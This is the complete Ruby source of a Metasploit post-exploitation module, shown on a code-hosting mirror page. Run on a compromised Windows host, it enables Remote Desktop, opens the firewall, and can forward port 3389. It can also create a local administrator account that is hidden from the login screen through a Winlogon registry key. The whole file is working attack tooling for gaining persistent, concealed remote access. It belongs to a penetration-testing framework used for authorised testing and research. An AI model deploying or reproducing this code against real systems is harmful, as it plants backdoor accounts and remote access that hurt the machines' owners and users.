CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/manage/enable_rdp.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::Windows::Accounts
8
include Msf::Post::Windows::Registry
9
include Msf::Post::Windows::Services
10
include Msf::Post::Windows::Priv
11
include Msf::Post::File
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Windows Manage Enable Remote Desktop',
18
'Description' => %q{
19
This module enables the Remote Desktop Service (RDP). It provides the options to create
20
an account and configure it to be a member of the Local Administrators and
21
Remote Desktop Users group. It can also forward the target's port 3389/tcp.
22
},
23
'License' => BSD_LICENSE,
24
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
25
'Platform' => [ 'win' ],
26
'SessionTypes' => [ 'meterpreter' ]
27
)
28
)
29
30
register_options(
31
[
32
OptString.new('USERNAME', [ false, 'The username of the user to create.' ]),
33
OptString.new('PASSWORD', [ false, 'Password for the user created.' ]),
34
OptBool.new('ENABLE', [ false, 'Enable the RDP Service and Firewall Exception.', true]),
35
OptBool.new('FORWARD', [ false, 'Forward remote port 3389 to local Port.', false]),
36
OptInt.new('LPORT', [ false, 'Local port to forward remote connection.', 3389])
37
]
38
)
39
end
40
41
def run
42
if datastore['ENABLE'] || (datastore['USERNAME'] && datastore['PASSWORD'])
43
cleanup_rc = store_loot(
44
'host.windows.cleanup.enable_rdp',
45
'text/plain',
46
session,
47
'',
48
'enable_rdp_cleanup.rc',
49
'enable_rdp cleanup resource file'
50
)
51
52
if datastore['ENABLE']
53
if is_admin?
54
enablerd(cleanup_rc)
55
enabletssrv(cleanup_rc)
56
else
57
print_error('Insufficient privileges, Remote Desktop Service was not modified')
58
end
59
end
60
if datastore['USERNAME'] && datastore['PASSWORD']
61
if is_admin?
62
addrdpusr(datastore['USERNAME'], datastore['PASSWORD'], cleanup_rc)
63
else
64
print_error('Insufficient privileges, account was not be created.')
65
end
66
end
67
if datastore['FORWARD']
68
print_status("Starting the port forwarding at local port #{datastore['LPORT']}")
69
client.run_cmd("portfwd add -L 0.0.0.0 -l #{datastore['LPORT']} -p 3389 -r 127.0.0.1")
70
end
71
print_status("For cleanup execute Meterpreter resource file: #{cleanup_rc}")
72
end
73
end
74
75
def enablerd(cleanup_rc)
76
key = 'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server'
77
value = 'fDenyTSConnections'
78
begin
79
v = registry_getvaldata(key, value)
80
print_status 'Enabling Remote Desktop'
81
if v == 1
82
print_status "\tRDP is disabled; enabling it ..."
83
registry_setvaldata(key, value, 0, 'REG_DWORD')
84
file_local_write(cleanup_rc, "reg setval -k \'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\' -v 'fDenyTSConnections' -d \"1\"")
85
else
86
print_status "\tRDP is already enabled"
87
end
88
rescue StandardError => e
89
print_status("The following Error was encountered: #{e.class} #{e}")
90
end
91
end
92
93
def enabletssrv(cleanup_rc)
94
service_name = 'termservice'
95
srv_info = service_info(service_name)
96
begin
97
print_status 'Setting Terminal Services service startup mode'
98
if srv_info[:starttype] != START_TYPE_AUTO
99
print_status "\tThe Terminal Services service is not set to auto, changing it to auto ..."
100
unless service_change_config(service_name, starttype: 'START_TYPE_AUTO') == Windows::Error::SUCCESS
101
print_error("\tUnable to change start type to Auto")
102
end
103
file_local_write(cleanup_rc, 'execute -H -f cmd.exe -a "/c sc config termservice start= disabled"')
104
if service_start(service_name) == Windows::Error::SUCCESS
105
print_good("\tRDP Service Started")
106
end
107
file_local_write(cleanup_rc, 'execute -H -f cmd.exe -a "/c sc stop termservice"')
108
else
109
print_status "\tTerminal Services service is already set to auto"
110
end
111
# Enabling Exception on the Firewall
112
print_status "\tOpening port in local firewall if necessary"
113
cmd_exec('netsh', 'firewall set service type = remotedesktop mode = enable', 30)
114
file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c 'netsh firewall set service type = remotedesktop mode = enable'\"")
115
rescue StandardError => e
116
print_status("The following Error was encountered: #{e.class} #{e}")
117
end
118
end
119
120
def addrdpusr(username, password, cleanup_rc)
121
print_status 'Setting user account for logon'
122
print_status "\tAdding User: #{username} with Password: #{password}"
123
begin
124
if check_user(username)
125
print_error("\tThe user #{username} already exists")
126
return
127
end
128
129
rdu_sid = resolve_sid('S-1-5-32-555')
130
admin_sid = resolve_sid('S-1-5-32-544')
131
132
if !rdu_sid[:mapped] || !admin_sid[:mapped]
133
print_error("\tThe Remote Desktop Users group is not mapped") if !rdu_sid[:mapped]
134
print_error("\tThe Administrators group is not mapped") if !admin_sid[:mapped]
135
print_error("\tNot adding user #{username}")
136
return
137
end
138
139
rdu = rdu_sid[:name]
140
admin = admin_sid[:name]
141
142
user_added = false
143
result = add_user(username, password)
144
if result['return'] == 0
145
user_added = true
146
elsif check_user(username)
147
user_added = true
148
end
149
150
if user_added
151
file_local_write(cleanup_rc, "execute -H -f cmd.exe -a \"/c net user #{username} /delete\"")
152
print_status "\tAdding User: #{username} to local group '#{rdu}'"
153
add_members_localgroup(rdu, username)
154
155
print_status "\tHiding user from Windows Login screen"
156
hide_user_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'
157
registry_setvaldata(hide_user_key, username, 0, 'REG_DWORD')
158
file_local_write(cleanup_rc, "reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}")
159
print_status "\tAdding User: #{username} to local group '#{admin}'"
160
add_members_localgroup(admin, username)
161
print_status 'You can now login with the created user'
162
else
163
print_error('Account could not be created')
164
print_error('Error:')
165
addusr_out.each_line do |l|
166
print_error("\t#{l.chomp}")
167
end
168
end
169
rescue StandardError => e
170
print_status("The following Error was encountered: #{e.class} #{e}")
171
end
172
end
173
174
def check_user(user)
175
enum_user.include?(user)
176
end
177
end
178
179